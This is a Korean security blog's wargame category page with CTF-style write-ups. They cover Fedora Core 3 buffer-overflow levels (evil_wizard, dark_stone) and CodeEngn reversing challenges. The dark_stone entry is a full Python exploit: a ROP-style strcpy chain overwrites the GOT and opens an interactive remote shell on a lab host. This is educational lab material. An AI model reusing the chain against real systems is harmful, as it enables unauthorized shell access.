'Wargame'에 해당되는 글 46건

  1. 2013.10.28 ransomware
  2. 2013.10.18 ImagePrc
  3. 2013.10.14 [BOF원정대/FC3] evil_wizard -> dark_stone
  4. 2013.10.11 CodeEngn Advance #2
  5. 2013.10.11 CodeEngn Advance #1
  6. 2013.09.28 [BOF원정대/FC3] hell_fire -> evil_wizard

ransomware

2013. 10. 28. 23:57

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

ImagePrc

2013. 10. 18. 20:06

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.



################

import time

import os

from socket import *

from struct import pack


p = lambda x : pack("<L", x) 

################


strcpy = 0x8048438

memcpy = 0x8048418

memcpy_got = 0x8049850

binsh = 0x8049878

str1 = 0x8048138

str2 = 0x80482b4

str3 = 0x804817c

str4 = 0x80484c8+8

str_slash = 0x8048114

str5 = 0x8048117

str6 = 0x8048116

str7 = 0x8048114+10

str8 = 0x8048746

str9 = 0x80481b8

ppr = 0x80484f3


################


payload = ''

payload += "\x41"*268

payload += p(strcpy)

payload += p(ppr)

payload += p(memcpy_got)

payload += p(str1)

payload += p(strcpy)

payload += p(ppr)

payload += p(memcpy_got+1)

payload += p(str2)

payload += p(strcpy)

payload += p(ppr)

payload += p(memcpy_got+2)

payload += p(str3)

payload += p(strcpy)

payload += p(ppr)

payload += p(memcpy_got+3)

payload += p(str4)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+1)

payload += p(str_slash)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+2)

payload += p(str5)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+3)

payload += p(str6)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+4)

payload += p(str_slash)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+5)

payload += p(str7)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+6)

payload += p(str8)

payload += p(strcpy)

payload += p(ppr)

payload += p(binsh+7)

payload += p(str9)

payload += p(memcpy)

payload += "\x41"*4

payload += p(binsh)


###############


s = socket(AF_INET, SOCK_STREAM)

s.connect(('192.168.16.135',8888))

s.send(payload+'\n')

print s.recv(1024)

while True:

cmd = raw_input('$ ')

if cmd == 'exit':

s.close()

break

s.send(cmd+'\n')

result = s.recv(1024)

print result

time.sleep(2)

s.close() 


###############



익스플로잇에서 한참 삽질하고 있는데 s.send(cmd+'\n') 에서 BrokenPipe 에러가 나더라구요..

왜그런지 아시는분 도와주시면 감사하겠습니다..


'Wargame > LOB[FC]' 카테고리의 다른 글

[BOF원정대/FC3] hell_fire -> evil_wizard  (0) 2013.09.28
Posted by xer0s :

CodeEngn Advance #2

2013. 10. 11. 22:36 from Wargame

Level 02

정답은 무엇인가 

 

정답은 무엇인가라는 문구와 함께 파일이 하나 있습니다.

파일을 한번 실행시켜 보니 다음과 같이 패스워드를 받더군요



올리로 까서 All referenced text strings를 통해 저 Enter Password가 있는곳으로 가봤습니다.



004012D2에서 사용자 값을 입력 받고 F8로 쭉 trace를 하다 보면 004013C5 call near edx를 호출한 뒤 프로그램이 종료되는 것을 알 수가 있습니다. 그래서 call near edx함수 내부로 들어가봤더니 다음과 같은 코드들이 존재하였습니다.

 


특정 값들을 ecx(우리가 입력한 문자열이 들어있음)의 한글자식 비교해서 같지 않다면

0012F88A라는 곳(프로그램을 종료시키는 함수가 존재하는 곳입니다)으로 분기하고 있습니다. 적절하게 코딩을 해주면 답이 나옵니다.





'Wargame' 카테고리의 다른 글

CodeEngn Advance #1  (0) 2013.10.11
Posted by xer0s :

CodeEngn Advance #1

2013. 10. 11. 22:32 from Wargame

Level 01

프로그램은 밀리세컨드 후에 종료 되는가 
정답인증은 MD5 해쉬값(대문자) 변환 인증하시오 

 

UPX패킹이 되었으므로 패킹으로 풀어주고 디버깅을 진행합니다.

몇 밀리세컨드 후에 종료 되냐고 물어봤으므로 시간관련 함수를 찾아보니 timeGetTime 함수가 있었습니다

BreakPoint를 걸어주고 실행해본 결과 다음과 같은 코드에서 브포가 걸렸습니다.

위 코드를 봐보면 우선 timeGetTime함수를 호출해서 반환된 eax값을 esi에 넣어줬습니다. 그리고 00444C5F call near edi timeGetTime 함수를 한번 더 호출해준뒤 그 값이 전에 호출한 timeGetTime 값보다 크거나 같을 경우 jnb 명령을 통해 00444D38로 분기하게 됩니다. jnb를 따라가보면 다음과 같은 코드가 나옵니다.

eax esi의 차이를 구해 그게 ebx+4(337B)값보다 크거나 같으면 분기하고 그렇지 않으면 push 0A를 해준뒤 sleep함수를 호출합니다. 아마 ebx+4의 값이 정답 될 거 같아 337B값을 10진수로 변환해준 뒤 그 값을 md5해주니 인증이 되었습니다.


'Wargame' 카테고리의 다른 글

CodeEngn Advance #2  (0) 2013.10.11
Posted by xer0s :


/*

        The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3 

- hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, argv[1]);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


printf("%s\n", buffer);

}

 




위 소스를 봐보면 스택을 0으로 초기화 해줌으로써 RET Sled를 방지해줬고

문제 해결의 실마리로 pop pop ret 코드를 제공해줍니다.

pop pop ret를 이용해 함수를 연쇄적으로 호출 할수가 있는데


[ func1 ][ ret ][ arg1 ][ arg2 ][ func2 ][ ret ][ ...]


위 스택구조에서 ret에다가 pop pop ret을 넣어줌으로써 esp를 8바이트 위로 올려주고 그 다음위치에 있는

값이 ret로 가는 형식으로 함수 연쇄 호출이 가능합니다. 



ASCII Armor 때문에 system함수를 호출할 때 인자구성을 해줄수가 없으므로 ASCII Armor의 영향을 받지않는

PLT를 이용해 주면 됩니다. GOT와 PLT 관련 사이트들은 아래를 참조해주시면 될꺼 같네요


http://lapislazull.tistory.com/54

http://ezbeat.tistory.com/374

http://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html



그럼 GOT Overwrite가 정확히 무엇인지 알아보겠습니다.

GOT Overwrite란 실제 함수의 주소를 저장하고 있는 GOT 테이블을 변조해서 원하는 함수를 호출하는 방법입니다.


예를들어 memcpy함수를 호출할때 GOT Overwrite를 통해 memcpy의 주소가 저장된 GOT 테이블을 system함수의 주소로 변조한 후 memcpy의 plt를 호출하면 system함수가 호출됩니다

그럼 최종적으로 pop pop ret 가젯을 이용해 chaining rtl로 strcpy를 불러와 memory got에 system주소를 넣어주면 될꺼 같네요


[hell_fire@Fedora_1stFloor ~]$ objdump -d evil_wizard | grep pop -A1


--

 804854f: 58                   pop    %eax

 8048550: 58                   pop    %eax

 8048551: c3                   ret    

--


[hell_fire@Fedora_1stFloor ~]$ objdump -h evil_wizard | grep .got.plt

 20 .got.plt      00000038  0804986c  0804986c  0000086c  2**2


[hell_fire@Fedora_1stFloor ~]$ gdb -q wizard_evil


(gdb) b *main+319

Breakpoint 1 at 0x8048693


(gdb) r a

Starting program: /home/hell_fire/wizard_evil a

(no debugging symbols found)...(no debugging symbols found)...a


Breakpoint 1, 0x08048693 in main ()


(gdb) print memcpy

$1 = {<text variable, no debug info>} 0x7854c0 <memcpy>


(gdb) print system

$2 = {<text variable, no debug info>} 0x7507c0 <system>


(gdb) print strcpy

$3 = {<text variable, no debug info>} 0x783880 <strcpy>


(gdb) x/10x 0x804986c

0x804986c <_GLOBAL_OFFSET_TABLE_>: 0x080497a0 0x007194f8 0x0070e9e0 0x00783d70

0x804987c <_GLOBAL_OFFSET_TABLE_+16>: 0x007d98f0 0x00730d50 0x0075e660 0x007854c0

0x804988c <_GLOBAL_OFFSET_TABLE_+32>: 0x007d9860 0x0804845a


system함수의 인자로 넣어줄 /bin/sh도 구성해줘야 되는데 

어떤 분의 블로그를 보고 아이디어를 얻었다. bss영역을 이용해 거기다가 /bin/sh 문자열을 

구성해주면 될까 싶어서 시도해봤더니 됬습니다.


[hell_fire@Fedora_1stFloor ~]$ objdump -h evil_wizard | grep bss

 22 .bss          00000004  080498b0  080498b0  000008b0  2**2


[hell_fire@Fedora_1stFloor ~]$ gdb -q wizard_evil

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b *main

Breakpoint 1 at 0x8048554

(gdb) r a

Starting program: /home/hell_fire/wizard_evil a

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x08048554 in main ()

(gdb) x/10x 0x080498b0

0x80498b0 <completed.1>: 0x00000000 0x00000000 0x00000000 0x00000000

0x80498c0: 0x00000000 0x00000000 0x00000000 0x00000000

0x80498d0: 0x00000000 0x00000000


저기 공간중에서 적절한 주소값을 찾아서 /bin/sh를 넣어주면 됩니다.

대충 구상도 다 했으니 이제 필요한 문자열들을 찾아내줘야되는데

/, b, i, n, s, h, \xc0, \x07, \x75, \x00 를 찾아주면 되겠습니다.


이제 익스플로잇을 짜주면 되는데 시험 끝나고 마무리 해야될꺼 같네요


'Wargame > LOB[FC]' 카테고리의 다른 글

[BOF원정대/FC3] evil_wizard -> dark_stone  (0) 2013.10.14
Posted by xer0s :